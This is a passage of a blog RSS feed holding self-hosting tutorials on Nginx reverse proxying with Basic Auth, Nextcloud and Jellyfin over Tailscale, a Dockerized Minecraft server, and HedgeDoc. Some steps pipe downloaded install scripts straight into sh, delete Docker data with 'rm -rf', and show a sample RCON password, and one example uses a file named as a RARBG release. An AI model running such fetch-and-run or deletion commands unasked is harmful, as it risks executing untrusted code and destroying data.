    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    + + Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + Sun, 21 Dec 2025 09:30:00 +0100 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later. + Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    +
    + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    + + Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + Fri, 29 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + <p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p> + HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
